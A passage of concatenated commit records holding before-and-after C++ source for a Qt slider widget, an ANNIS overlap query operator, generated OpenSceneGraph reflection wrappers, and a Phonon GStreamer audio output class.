y2: 1, stop: 0 #777, stop: 1 #fff);\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::add-page:horizontal {\"\n \"background: #fff;\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::sub-page:vertical {\"\n \"background: #fff;\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::add-page:vertical {\"\n \"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #000, stop: 1 #777);\"\n \"background: qlineargradient(x1: 0, y1: 0.5, x2: 1, y2: 1, stop: 0 #777, stop: 1 #fff);\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::handle {\"\n \"background: qlineargradient(x1:0, y1:0, x2:1, y2:1, stop:0 #eee, stop:1 #ccc);\"\n \"border: 1px solid #777;\"\n \"margin: 0 -1px;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::handle:horizontal {\"\n \"width: 12px;\"\n \"}\"\n\n \"QSlider::handle:vertical {\"\n \"height: 12px;\"\n \"}\"\n\n \"QSlider::handle:hover {\"\n \"background: qlineargradient(x1:0, y1:0, x2:1, y2:1, stop:0 #fff, stop:1 #ddd);\"\n \"border: 1px solid #444;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::sub-page:disabled {\"\n \"background: #bbb;\"\n \"border-color: #999;\"\n \"}\"\n\n \"QSlider::add-page:disabled {\"\n \"background: #eee;\"\n \"border-color: #999;\"\n \"}\"\n\n \"QSlider::handle:disabled {\"\n \"background: #eee;\"\n \"border: 1px solid #aaa;\"\n \"border-radius: 2px;\"\n \"}\"\n ));\n}\n\nvoid Slider::paintEvent(QPaintEvent * event) {\n QSlider::paintEvent(event);\n\n QPainter p(this);\n\n p.save();\n\n p.setPen(QColor::fromRgb(0, 0, 0));\n QRect rect = geometry();\n\n float limit, temp = 0, step = ((float)maximum()) \/ tickInterval();\n int multiplyer = 0;\n\n if (orientation() == Qt::Horizontal) {\n while(temp < 20) {\n multiplyer++;\n temp = ((float)rect.width()) \/ (step \/ multiplyer);\n }\n\n step = temp;\n limit = (rect.width() \/ step) == 0 ? rect.width() - step : rect.width();\n\n for(float pos = step; pos < limit; pos += step) {\n p.drawLine(pos, rect.top() + 4, pos, rect.bottom() - 7);\n }\n\n if (multiplyer > 1)\n p.drawText(4, rect.top() + 18, \"x \" + QString::number(multiplyer));\n\n } else {\n while(temp < 20) {\n multiplyer++;\n temp = ((float)rect.height()) \/ (step \/ multiplyer);\n }\n\n step = temp;\n limit = (rect.height() \/ step) == 0 ? rect.height() - step : rect.height();\n\n for(float pos = step; pos < limit; pos += step) {\n p.drawLine(rect.left() + 4, pos, rect.right() - 7, pos);\n }\n\n if (multiplyer > 1) {\n p.drawText(rect.left() + 4 + (multiplyer < 10 ? 3 : 0), (int)(limit - step \/ 2) + 2, \"x\" + QString::number(multiplyer));\n }\n }\n\n p.restore();\n}\n<commit_msg>minor improve<commit_after>#include \"slider.h\"\n#include \"qdebug.h\"\n\nSlider::Slider(QWidget * parent) : QSlider(parent) {\n setStyleSheet(QString(\n \"QSlider::groove {\"\n \"border: 1px solid #bbb;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::groove:horizontal {\"\n \"height: 18px;\"\n \"}\"\n\n \"QSlider::groove:vertical {\"\n \"width: 18px;\"\n \"}\"\n\n \"QSlider::sub-page:horizontal {\"\n \"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #000, stop: 1 #777);\"\n \"background: qlineargradient(x1: 0, y1: 0.5, x2: 1, y2: 1, stop: 0 #777, stop: 1 #fff);\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::add-page:horizontal {\"\n \"background: #fff;\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::sub-page:vertical {\"\n \"background: #fff;\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::add-page:vertical {\"\n \"background: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #000, stop: 1 #777);\"\n \"background: qlineargradient(x1: 0, y1: 0.5, x2: 1, y2: 1, stop: 0 #777, stop: 1 #fff);\"\n \"border: 1px solid #777;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::handle {\"\n \"background: qlineargradient(x1:0, y1:0, x2:1, y2:1, stop:0 #eee, stop:1 #ccc);\"\n \"border: 1px solid #777;\"\n \"margin: 0 -1px;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::handle:horizontal {\"\n \"width: 12px;\"\n \"}\"\n\n \"QSlider::handle:vertical {\"\n \"height: 12px;\"\n \"}\"\n\n \"QSlider::handle:hover {\"\n \"background: qlineargradient(x1:0, y1:0, x2:1, y2:1, stop:0 #fff, stop:1 #ddd);\"\n \"border: 1px solid #444;\"\n \"border-radius: 2px;\"\n \"}\"\n\n \"QSlider::sub-page:disabled {\"\n \"background: #bbb;\"\n \"border-color: #999;\"\n \"}\"\n\n \"QSlider::add-page:disabled {\"\n \"background: #eee;\"\n \"border-color: #999;\"\n \"}\"\n\n \"QSlider::handle:disabled {\"\n \"background: #eee;\"\n \"border: 1px solid #aaa;\"\n \"border-radius: 2px;\"\n \"}\"\n ));\n}\n\nvoid Slider::paintEvent(QPaintEvent * event) {\n QSlider::paintEvent(event);\n\n QPainter p(this);\n\n p.save();\n\n p.setPen(QColor::fromRgb(0, 0, 0));\n QRect rect = geometry();\n\n float limit, temp = 0, step = ((float)maximum()) \/ tickInterval();\n int multiplyer = 0;\n\n if (orientation() == Qt::Horizontal) {\n while(temp < 16) {\n multiplyer++;\n temp = ((float)rect.width()) \/ (step \/ multiplyer);\n }\n\n step = temp;\n limit = (rect.width() \/ step) == 0 ? rect.width() - step : rect.width();\n\n for(float pos = step; pos < limit; pos += step) {\n p.drawLine(pos, rect.top() + 4, pos, rect.bottom() - 7);\n }\n\n if (multiplyer > 1)\n p.drawText(4, rect.top() + 18, \"x \" + QString::number(multiplyer));\n\n } else {\n while(temp < 20) {\n multiplyer++;\n temp = ((float)rect.height()) \/ (step \/ multiplyer);\n }\n\n step = temp;\n limit = (rect.height() \/ step) == 0 ? rect.height() - step : rect.height();\n\n for(float pos = step; pos < limit; pos += step) {\n p.drawLine(rect.left() + 4, pos, rect.right() - 7, pos);\n }\n\n if (multiplyer > 1) {\n p.drawText(rect.left() + 4 + (multiplyer < 10 ? 3 : 0), (int)(limit - step \/ 2) + 2, \"x\" + QString::number(multiplyer));\n }\n }\n\n p.restore();\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"overlap.h\"\n\nusing namespace annis;\n\nOverlap::Overlap(DB &db, AnnotationIterator &left, AnnotationIterator &right)\n : left(left), rightAnnotation(right.getAnnotation()), db(db),\n edbLeft(db.getEdgeDB(ComponentType::LEFT_TOKEN, annis_ns, \"\")),\n edbRight(db.getEdgeDB(ComponentType::RIGHT_TOKEN, annis_ns, \"\")),\n edbOrder(db.getEdgeDB(ComponentType::ORDERING, annis_ns, \"\")),\n lhsLeftTokenIt(LeftMostTokenForNodeIterator(left, db)),\n tokenRightFromLHSIt(db, edbOrder, lhsLeftTokenIt, initAnnotation(db.getNodeNameStringID(), 0, db.getNamespaceStringID()), 0, uintmax)\n{\n reset();\n}\n\nBinaryMatch Overlap::next()\n{\n BinaryMatch result;\n result.found = false;\n\n \/\/ TODO: implement overlap\n BinaryMatch rightTokenMatch;\n\n if(currentMatches.empty())\n {\n rightTokenMatch = tokenRightFromLHSIt.next();\n }\n else\n {\n rightTokenMatch.found = false;\n }\n while(currentMatches.empty() && rightTokenMatch.found)\n {\n result.lhs = lhsLeftTokenIt.currentNodeMatch();\n\n \/\/ get the node that has a right border with the token\n std::vector<nodeid_t> overlapCandidates = edbRight->getOutgoingEdges(rightTokenMatch.rhs.node);\n \/\/ also add the token itself\n overlapCandidates.insert(overlapCandidates.begin(), rightTokenMatch.rhs.node);\n\n \/\/ check each candidate if it's left side comes before the right side of the lhs node\n for(unsigned int i=0; i < overlapCandidates.size(); i++)\n {\n nodeid_t candidateID = overlapCandidates[i];\n \/\/ the first candidate is always the token itself, otherwise get the aligned token\n nodeid_t leftTokenForCandidate = i == 0 ? candidateID : edbLeft->getOutgoingEdges(candidateID)[0];\n\n if(edbOrder->isConnected(initEdge(leftTokenForCandidate, rightTokenMatch.rhs.node), 0, uintmax))\n {\n Match m;\n m.node = candidateID;\n for(const Annotation& anno : db.getNodeAnnotationsByID(candidateID))\n {\n if(checkAnnotationEqual(rightAnnotation, anno))\n {\n m.anno = anno;\n currentMatches.push_back(m);\n }\n }\n }\n }\n\n rightTokenMatch = tokenRightFromLHSIt.next();\n } \/\/ end while\n\n while(!currentMatches.empty())\n {\n result.found = true;\n result.rhs = currentMatches.front();\n currentMatches.pop_front();\n }\n\n return result;\n}\n\nvoid Overlap::reset()\n{\n uniqueMatches.clear();\n left.reset();\n currentMatches.clear();\n lhsLeftTokenIt.reset();\n tokenRightFromLHSIt.reset();\n}\n\nOverlap::~Overlap()\n{\n\n}\n\n<commit_msg>use left-hand-side<commit_after>#include \"overlap.h\"\n\nusing namespace annis;\n\nOverlap::Overlap(DB &db, AnnotationIterator &left, AnnotationIterator &right)\n : left(left), rightAnnotation(right.getAnnotation()), db(db),\n edbLeft(db.getEdgeDB(ComponentType::LEFT_TOKEN, annis_ns, \"\")),\n edbRight(db.getEdgeDB(ComponentType::RIGHT_TOKEN, annis_ns, \"\")),\n edbOrder(db.getEdgeDB(ComponentType::ORDERING, annis_ns, \"\")),\n lhsLeftTokenIt(left, db),\n tokenRightFromLHSIt(db, edbOrder, lhsLeftTokenIt, initAnnotation(db.getNodeNameStringID(), 0, db.getNamespaceStringID()), 0, uintmax)\n{\n reset();\n}\n\nBinaryMatch Overlap::next()\n{\n BinaryMatch result;\n result.found = false;\n\n BinaryMatch rightTokenMatch;\n\n if(currentMatches.empty())\n {\n rightTokenMatch = tokenRightFromLHSIt.next();\n }\n else\n {\n rightTokenMatch.found = false;\n }\n while(currentMatches.empty() && rightTokenMatch.found)\n {\n result.lhs = lhsLeftTokenIt.currentNodeMatch();\n\n \/\/ get the node that has a right border with the token\n std::vector<nodeid_t> overlapCandidates = edbRight->getOutgoingEdges(rightTokenMatch.rhs.node);\n \/\/ also add the token itself\n overlapCandidates.insert(overlapCandidates.begin(), rightTokenMatch.rhs.node);\n\n \/\/ check each candidate if it's left side comes before the right side of the lhs node\n for(unsigned int i=0; i < overlapCandidates.size(); i++)\n {\n nodeid_t candidateID = overlapCandidates[i];\n \/\/ the first candidate is always the token itself, otherwise get the aligned token\n nodeid_t leftTokenForCandidate = i == 0 ? candidateID : edbLeft->getOutgoingEdges(candidateID)[0];\n\n if(edbOrder->isConnected(initEdge(leftTokenForCandidate, rightTokenMatch.lhs.node), 0, uintmax))\n {\n Match m;\n m.node = candidateID;\n for(const Annotation& anno : db.getNodeAnnotationsByID(candidateID))\n {\n if(checkAnnotationEqual(rightAnnotation, anno))\n {\n m.anno = anno;\n currentMatches.push_back(m);\n }\n }\n }\n }\n\n rightTokenMatch = tokenRightFromLHSIt.next();\n } \/\/ end while\n\n while(!currentMatches.empty())\n {\n result.found = true;\n result.rhs = currentMatches.front();\n currentMatches.pop_front();\n }\n\n return result;\n}\n\nvoid Overlap::reset()\n{\n uniqueMatches.clear();\n left.reset();\n currentMatches.clear();\n lhsLeftTokenIt.reset();\n tokenRightFromLHSIt.reset();\n}\n\nOverlap::~Overlap()\n{\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ ***************************************************************************\n\/\/\n\/\/ Generated automatically by genwrapper.\n\/\/ Please DO NOT EDIT this file!\n\/\/\n\/\/ ***************************************************************************\n\n#include <osgIntrospection\/ReflectionMacros>\n#include <osgIntrospection\/TypedMethodInfo>\n#include <osgIntrospection\/StaticMethodInfo>\n#include <osgIntrospection\/Attributes>\n\n#include <osg\/Array>\n#include <osgUtil\/OperationArrayFunctor>\n\n\/\/ Must undefine IN and OUT macros defined in Windows headers\n#ifdef IN\n#undef IN\n#endif\n#ifdef OUT\n#undef OUT\n#endif\n\nBEGIN_VALUE_REFLECTOR(osgUtil::AddRangeOperator)\n\tI_DeclaringFile(\"osgUtil\/OperationArrayFunctor\");\n\tI_Constructor0(____AddRangeOperator,\n\t \"\",\n\t \"\");\n\tI_PublicMemberProperty(unsigned int, _begin);\n\tI_PublicMemberProperty(unsigned int, _count);\n\tI_PublicMemberProperty(osg::Vec3, _vector);\nEND_REFLECTOR\n\nBEGIN_VALUE_REFLECTOR(osgUtil::MultiplyRangeOperator)\n\tI_DeclaringFile(\"osgUtil\/OperationArrayFunctor\");\n\tI_Constructor0(____MultiplyRangeOperator,\n\t \"\",\n\t \"\");\n\tI_PublicMemberProperty(unsigned int, _begin);\n\tI_PublicMemberProperty(unsigned int, _count);\n\tI_PublicMemberProperty(osg::Vec3, _vector);\nEND_REFLECTOR\n\nTYPE_NAME_ALIAS(osgUtil::OperationArrayFunctor< osgUtil::AddRangeOperator >, osgUtil::AddRangeFunctor)\n\nTYPE_NAME_ALIAS(osgUtil::OperationArrayFunctor< osgUtil::MultiplyRangeOperator >, osgUtil::MultiplyRangeFunctor)\n\nBEGIN_OBJECT_REFLECTOR(osgUtil::OperationArrayFunctor< osgUtil::AddRangeOperator >)\n\tI_DeclaringFile(\"osgUtil\/OperationArrayFunctor\");\n\tI_BaseType(osg::ArrayVisitor);\n\tI_Constructor0(____AddRangeOperator >,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Array &, x,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4ubArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4ubArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2dArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3dArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4dArray_R1,\n\t \"\",\n\t \"\");\nEND_REFLECTOR\n\nBEGIN_OBJECT_REFLECTOR(osgUtil::OperationArrayFunctor< osgUtil::MultiplyRangeOperator >)\n\tI_DeclaringFile(\"osgUtil\/OperationArrayFunctor\");\n\tI_BaseType(osg::ArrayVisitor);\n\tI_Constructor0(____MultiplyRangeOperator >,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Array &, x,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4Array &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4Array_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4ubArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4ubArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4bArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4bArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4sArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4sArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec2dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec2dArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec3dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec3dArray_R1,\n\t \"\",\n\t \"\");\n\tI_Method1(void, apply, IN, osg::Vec4dArray &, array,\n\t Properties::VIRTUAL,\n\t __void__apply__osg_Vec4dArray_R1,\n\t \"\",\n\t \"\");\nEND_REFLECTOR\n\n<commit_msg>Removed OperationArrayFunctor for wrappers to avoid compile errors assocaited with them<commit_after><|endoftext|>"} {"text":"<commit_before>\/* This file is part of the KDE project.\n\n Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n Copyright (C) 2008 Matthias Kretz <kretz@kde.org>\n\n This library is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation, either version 2.1 or 3 of the License.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"common.h\"\n#include \"audiooutput.h\"\n#include \"backend.h\"\n#include \"mediaobject.h\"\n#include \"gsthelper.h\"\n#include <phonon\/audiooutput.h>\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\nAudioOutput::AudioOutput(Backend *backend, QObject *parent)\n : QObject(parent)\n , MediaNode(backend, AudioSink)\n , m_volumeLevel(1.0)\n , m_device(0) \/\/ ### get from backend\n , m_volumeElement(0)\n , m_audioBin(0)\n , m_audioSink(0)\n , m_conv(0)\n{\n static int count = 0;\n m_name = \"AudioOutput\" + QString::number(count++);\n if (m_backend->isValid()) {\n m_audioBin = gst_bin_new (NULL);\n gst_object_ref (GST_OBJECT (m_audioBin));\n gst_object_sink (GST_OBJECT (m_audioBin)); \n\n m_conv = gst_element_factory_make (\"audioconvert\", NULL);\n\n \/\/ Get category from parent\n Phonon::Category category = Phonon::NoCategory;\n if (Phonon::AudioOutput *audioOutput = qobject_cast<Phonon::AudioOutput *>(parent))\n category = audioOutput->category();\n \n m_audioSink = m_backend->deviceManager()->createAudioSink(category);\n m_volumeElement = gst_element_factory_make (\"volume\", NULL);\n GstElement *queue = gst_element_factory_make (\"queue\", NULL);\n GstElement *audioresample = gst_element_factory_make (\"audioresample\", NULL);\n \n if (queue && m_audioBin && m_conv && audioresample && m_audioSink && m_volumeElement) {\n gst_bin_add_many (GST_BIN (m_audioBin), queue, m_conv, audioresample, m_volumeElement, m_audioSink, (const char*)NULL);\n \n if (gst_element_link_many (queue, m_conv, audioresample, m_volumeElement, m_audioSink, (const char*)NULL)) {\n \/\/ Add ghost sink for audiobin\n GstPad *audiopad = gst_element_get_pad (queue, \"sink\");\n gst_element_add_pad (m_audioBin, gst_ghost_pad_new (\"sink\", audiopad));\n gst_object_unref (audiopad);\n m_isValid = true; \/\/ Initialization ok, accept input\n }\n }\n }\n}\n\nvoid AudioOutput::mediaNodeEvent(const MediaNodeEvent *event)\n{\n if (!m_audioBin)\n return;\n\n switch (event->type()) {\n\n default:\n break;\n }\n}\n\n\nAudioOutput::~AudioOutput()\n{\n if (m_audioBin) {\n gst_element_set_state (m_audioBin, GST_STATE_NULL);\n gst_object_unref (m_audioBin);\n }\n}\n\nqreal AudioOutput::volume() const\n{\n return m_volumeLevel;\n}\n\nint AudioOutput::outputDevice() const\n{\n return m_device;\n}\n\nvoid AudioOutput::setVolume(qreal newVolume)\n{\n if (newVolume > 2.0 )\n newVolume = 2.0;\n else if (newVolume < 0.0)\n newVolume = 0.0;\n\n if (newVolume == m_volumeLevel)\n return;\n\n m_volumeLevel = newVolume;\n\n if (m_volumeElement) {\n g_object_set(G_OBJECT(m_volumeElement), \"volume\", newVolume, (const char*)NULL);\n }\n\n emit volumeChanged(newVolume);\n}\n\nbool AudioOutput::setOutputDevice(int newDevice)\n{\n m_backend->logMessage(Q_FUNC_INFO + QString::number(newDevice), Backend::Info, this);\n if (newDevice == m_device)\n return true;\n\n if (root()) {\n root()->saveState();\n if (gst_element_set_state(root()->pipeline(), GST_STATE_READY) == GST_STATE_CHANGE_FAILURE)\n return false;\n }\n\n bool success = false;\n const QList<AudioDevice> deviceList = m_backend->deviceManager()->audioOutputDevices();\n if (m_audioSink && newDevice >= 0 && newDevice < deviceList.size()) {\n \/\/ Save previous state\n GstState oldState = GST_STATE(m_audioSink);\n const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, \"device\");\n const QByteArray deviceId = deviceList.at(newDevice).gstId;\n m_device = newDevice;\n\n \/\/ We test if the device can be opened by checking if it can go from NULL to READY state\n gst_element_set_state(m_audioSink, GST_STATE_NULL);\n success = GstHelper::setProperty(m_audioSink, \"device\", deviceId);\n if (success) {\n success = (gst_element_set_state(m_audioSink, oldState) == GST_STATE_CHANGE_SUCCESS);\n }\n if (!success) { \/\/ Revert state\n m_backend->logMessage(Q_FUNC_INFO +\n QLatin1String(\" Failed to change device \") +\n deviceId, Backend::Info, this);\n\n GstHelper::setProperty(m_audioSink, \"device\", oldDeviceValue);\n gst_element_set_state(m_audioSink, oldState);\n } else {\n m_backend->logMessage(Q_FUNC_INFO +\n QLatin1String(\" Successfully changed device \") +\n deviceId, Backend::Info, this);\n }\n\n \/\/ Note the stopped state should not really be neccessary, but seems to be required to \n \/\/ properly reset after changing the audio state\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n }\n return success;\n}\n\n#if (PHONON_VERSION >= PHONON_VERSION_CHECK(4, 2, 0))\nbool AudioOutput::setOutputDevice(const AudioOutputDevice &newDevice)\n{\n m_backend->logMessage(Q_FUNC_INFO, Backend::Info, this);\n if (!m_audioSink || !newDevice.isValid()) {\n return false;\n }\n const QVariant driver = newDevice.property(\"driver\");\n if (!driver.isValid()) {\n return setOutputDevice(newDevice.index());\n }\n if (newDevice.index() == m_device) {\n return true;\n }\n\n if (root()) {\n root()->saveState();\n if (gst_element_set_state(root()->pipeline(), GST_STATE_READY) == GST_STATE_CHANGE_FAILURE)\n return false;\n }\n\n \/\/ Save previous state\n const GstState oldState = GST_STATE(m_audioSink);\n const QByteArray oldDeviceValue = GstHelper::property(m_audioSink, \"device\");\n\n const QByteArray sinkName = GstHelper::property(m_audioSink, \"name\");\n if (sinkName == \"alsasink\" || sinkName == \"alsasink2\") {\n if (driver.toByteArray() != \"alsa\") {\n return false;\n }\n }\n\n const QVariant deviceIdsProperty = newDevice.property(\"deviceIds\");\n QStringList deviceIds;\n if (deviceIdsProperty.type() == QVariant::StringList) {\n deviceIds = deviceIdsProperty.toStringList();\n } else if (deviceIdsProperty.type() == QVariant::String) {\n deviceIds += deviceIdsProperty.toString();\n }\n\n \/\/ We test if the device can be opened by checking if it can go from NULL to READY state\n foreach (const QString &deviceId, deviceIds) {\n gst_element_set_state(m_audioSink, GST_STATE_NULL);\n if (GstHelper::setProperty(m_audioSink, \"device\", deviceId.toUtf8())) {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"setProperty(device,\") +\n deviceId + QLatin1String(\") succeeded\"), Backend::Info, this);\n if (gst_element_set_state(m_audioSink, oldState) == GST_STATE_CHANGE_SUCCESS) {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"go to old state on device\") +\n deviceId + QLatin1String(\" succeeded\"), Backend::Info, this);\n m_device = newDevice.index();\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n return true;\n } else {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"go to old state on device\") +\n deviceId + QLatin1String(\" failed\"), Backend::Info, this);\n }\n } else {\n m_backend->logMessage(Q_FUNC_INFO + QLatin1String(\"setProperty(device,\") +\n deviceId + QLatin1String(\") failed\"), Backend::Info, this);\n }\n }\n \/\/ Revert state\n GstHelper::setProperty(m_audioSink, \"device\", oldDeviceValue);\n gst_element_set_state(m_audioSink, oldState);\n\n if (root()) {\n QMetaObject::invokeMethod(root(), \"setState\", Qt::QueuedConnection, Q_ARG(State, StoppedState));\n root()->resumeState();\n }\n\n return false;\n}\n#endif\n\n}\n} \/\/namespace Phonon::Gstreamer\n\nQT_END_NAMESPACE\n#include \"moc_audiooutput.cpp\"\n<commit_msg>Set the glib appname for gstreamer. This will allow sound servers such as pulseaudio to show the application name with a volume slider.<commit_after>\/* This file is part of the KDE project.\n\n Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n Copyright (C) 2008 Matthias Kretz <kretz@kde.org>\n\n This library is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Lesser General Public License as published by\n the Free Software Foundation, either version 2.1 or 3 of the License.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public License\n along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include \"common.h\"\n#include \"audiooutput.h\"\n#include \"backend.h\"\n#include \"mediaobject.h\"\n#include \"gsthelper.h\"\n#include <phonon\/audiooutput.h>\n\nQT_BEGIN_NAMESPACE\n\nnamespace Phonon\n{\nnamespace Gstreamer\n{\nAudioOutput::AudioOutput(Backend *backend, QObject *parent)\n : QObject(parent)\n , MediaNode(backend, AudioSink)\n , m_volumeLevel(1.0)\n , m_device(0) \/\/ ### get from backend\n , m_volumeElement(0)\n , m_audioBin(0)\n , m_audioSink(0)\n , m_conv(0)\n{\n static int count = 0;\n m_name = \"AudioOutput\" + QString::number(count++);\n if (m_backend->isValid()) {\n g_set_application_name(qApp->applicationName().toUtf8());\n m_audioBin = gst_bin_new (NULL);\n gst_object_ref (GST_OBJECT (m_audioBin));\n gst_object_sink (GST_OBJECT (m_audioBin)); \n\n m_conv = gst_element_factory_make (\"audioconvert\", NULL);\n\n \/\/ Get category from parent\n Phonon::Category category = Phonon::NoCategory;\n if (Phonon::AudioOutput *audioOutput = qobject_cast<Phonon::AudioOutput *>(parent))\n category = audioOutput->category();\n \n m_audioSink = m_backend->deviceManager()->createAudioSink(category);\n m_volumeElement = gst_element_factory_make (\"volume\", NULL);\n GstElement *queue = gst_element_factory_make (\"queue\", NULL);\n GstElement *audioresample = gst_element_factory_make (\"audioresample\", NULL);\n \n if (queue && m_audioBin && m_conv && audioresample && m_audioSink && m_volumeElement) {\n gst_bin_add_many (GST_BIN (m_audioBin), queue, m_conv, audioresample, m_volumeElement, m_audioSink, (const char*)NULL);\n \n if (gst_element_link_many (queue, m_conv, audioresample, m_volumeElement, m_audioSink, (const char*)NULL)) {\n \/\/ Add ghost sink for audiobin\n GstPad *audiopad = gst_element_get_pad (queue, \"sink\");\n gst_element_add_pad (m_audioBin, gst_ghost_pad_new (\"sink\", audiopad));\n gst_object_unref (audiopad);\n m_isValid = true; \/\/ Initialization ok, accept input\n }\n }\n }\n}\n\nvoid 